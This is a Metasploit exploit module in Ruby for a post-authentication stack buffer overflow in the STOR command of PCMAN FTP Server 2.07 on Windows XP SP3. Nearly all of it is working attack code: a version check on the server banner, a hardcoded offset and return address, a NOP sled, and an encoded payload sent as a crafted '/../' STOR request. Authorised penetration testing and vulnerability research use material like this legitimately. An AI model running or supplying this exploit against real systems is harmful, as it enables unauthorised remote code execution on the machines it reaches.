##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the STOR command of the
          PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
          note authentication is required in order to trigger the vulnerability. The overflowing
          string will also be seen on the FTP server log console.
      },
      'Author'         =>
          [
            'Christian (Polunchis) Ramirez', # Initial Discovery
            'Rick (nanotechz9l) Flores'      # Metasploit Module
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '94624'],
          [ 'EDB',   '27703']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'VERBOSE'  => true
        },
      'Payload'        =>
        {
          'Space'		=> 1000,
          'BadChars'	=> "\x00\xff\x0a\x0d\x20\x40",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2011
            }
          ],
        ],
      'DisclosureDate' => 'Jun 27 2013',
      'DefaultTarget'  => 0))
  end

  def check
    connect
    disconnect

    if (banner =~ /220 PCMan's FTP Server 2\.0/)
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end


  def exploit
    c = connect_login

    # Auth failed. The mixin should show the error, so we just bail.
    return unless c

    # Username is part of the overflowing string, so we need to account for that length
    user_length = datastore['FTPUSER'].to_s.length

    print_status("Trying victim #{target.name}...")
    sploit = rand_text_alpha(target['Offset'] - user_length)
    sploit << [target.ret].pack('V')
    sploit << make_nops(4)
    sploit << payload.encoded
    sploit << rand_text_alpha(sploit.length)

    send_cmd( ["STOR", "/../" + sploit], false )
    disconnect
  end

end